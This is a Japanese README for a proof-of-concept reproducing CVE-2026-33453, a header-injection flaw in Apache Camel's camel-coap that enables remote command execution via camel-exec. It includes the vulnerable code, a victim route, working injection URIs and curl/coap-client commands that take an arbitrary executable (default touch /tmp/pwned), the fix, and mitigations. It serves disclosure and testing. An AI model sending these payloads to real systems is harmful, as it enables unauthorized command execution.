
CVE-2026-33453 の再現コード: camel-exec を介した Apache Camel camel-coap ヘッダーインジェクションによる RCE
このプロジェクトは、Apache Camel の camel-coap コンポーネントにおける Camel メッセージヘッダーインジェクション の脆弱性(CVE-2026-33453 として追跡)を実証します。認証されていない攻撃者が単一の CoAP UDP パケットを送信すると、Exchange に任意の Camel* 制御ヘッダーを注入でき、ルートが camel-exec などのヘッダーに敏感なプロデューサーに転送する場合に リモートコード実行 を達成できます。
アドバイザリ: https://camel.apache.org/security/CVE-2026-33453.html
| プロパティ | 値 |
|---|
| コンポーネント | camel-coap |
| 影響を受けるクラス | org.apache.camel.coap.CamelCoapResource (handleRequest) |
| 根本原因 | HeaderFilterStrategy なしで CoAP URI クエリパラメーターが Exchange ヘッダーにコピーされる |
| CWE | CWE-915: 動的に決定されるオブジェクト属性の不適切に制御された変更 |
| 影響 | リモートコード実行(camel-exec など、ヘッダーに敏感なプロデューサー経由) |
| 攻撃対象領域 | 認証なしの単一 CoAP UDP データグラム(デフォルトポート 5683) |
| 影響を受けるバージョン | 4.14.0 以降 4.14.6 未満、および 4.15.0 以降 4.18.1 未満 |
| 修正済みバージョン | 4.14.6、4.18.1、4.19.0 |
| JIRA | CAMEL-23222 |
| 報告者 | Hyunwoo Kim (@v4bel) |
影響を受けるバージョンでは、CamelCoapResource.handleRequest() が CoAP リクエストの URI クエリオプションを反復処理し、各オプションを HeaderFilterStrategy を一切適用せずに Camel Exchange In ヘッダーにコピーします:
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
String name = (i == -1) ? s : s.substring(0, i);
String value = (i == -1) ? "" : s.substring(i + 1);
camelExchange.getIn().setHeader(name, value); // NO HeaderFilterStrategy!
}
CoAPEndpoint は DefaultEndpoint を拡張しており(DefaultHeaderFilterStrategyEndpoint ではありません)、CoAPComponent は HeaderFilterStrategyComponent を実装していないため、フィルターはまったく存在しません。したがって、攻撃者は CoAP リクエスト URI にクエリパラメーターを追加するだけで、Camel 内部の Camel* 制御ヘッダーを含む任意のヘッダーを設定できます。
ルートがメッセージをヘッダーに敏感なプロデューサーに配信すると、これらのヘッダーによってその動作が変更されます。camel-exec の場合、CamelExecCommandExecutable ヘッダーと CamelExecCommandArgs ヘッダーがエンドポイントに設定された実行ファイルと引数を上書きし(影響を受けるバージョンではデフォルトで優先されます)、任意の OS コマンド実行を引き起こします。コマンドの標準出力は Exchange ボディに書き戻され、CoAP レスポンスで返されるため、対話型の RCE チャネルとなります。
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class); // return stdout in the CoAP response
良性のリクエストは echo hello を実行します。攻撃者は注入されたヘッダーを介してコマンドを上書きします。
CoAP は UDP ベース(RFC 7252)で、組み込みの認証はありません(DTLS はオプションであり、デフォルトでは無効です)。そのため、外部サービスや Docker コンテナは不要です。再現アプリは、脆弱な CoAP サーバーであると同時に、バンドルされた攻撃者クライアントでもあります(libcoap の coap-client などの raw クライアントでも動作します)。
mvn clean package -DskipTests
mvn spring-boot:run
アプリは、脆弱なルートを coap://0.0.0.0:5683/run で起動し、補助 REST コントローラーをポート 8080 で起動します。
curl http://localhost:8080/exploit/normal
# -> CoAP response: hello
# Default benign proof: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"
# Choose a different executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
内部では、バンドルされた CoAP クライアントが単一のデータグラムを送信します:
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
代わりに raw CoAP クライアントを使用する場合:
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
ls -la /tmp/pwned
/tmp/pwned が存在する場合、注入されたヘッダーが exec コマンドを上書きしたことになり、RCE が成立します。
このインジェクションには、下流にヘッダーに敏感なプロデューサーが存在するだけで十分です。アドバイザリには、とりわけ以下が挙げられています:
CamelExecCommandExecutable / CamelExecCommandArgs → OS コマンド実行CamelFileName → 任意のファイル書き込み / パストラバーサルCamelBeanMethodName → 別のメソッドの呼び出しcoap://... からメッセージを消費する Camel ルート。removeHeaders("Camel*") がない。認証は不要で、ポート 5683 への単一の UDP データグラムで十分です。
修正(CAMEL-23222)により、CoAPEndpoint が HeaderFilterStrategy を保持し、handleRequest() でヘッダーを設定する前にそれを適用するようになります。これにより、Camel* プレフィックス付きの名前は、他のすべてのトランスポートと同様に CoAP 境界でフィルタリングされます:
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
アップグレードするまで:
from("coap:...") の直後に .removeHeaders("Camel*") を追加します。coaps://)ことにより、エンドポイントに到達できる相手を制限します。CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── CoapExecRoute.java # the vulnerable victim route (coap -> exec)
│ └── ExploitController.java # bundled CoAP attacker client (/exploit/normal, /exploit/attack)
└── resources/
└── application.properties
この再現ツールは、公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテストのみを目的として提供されます。明示的な許可なくシステムに対して使用しないでください。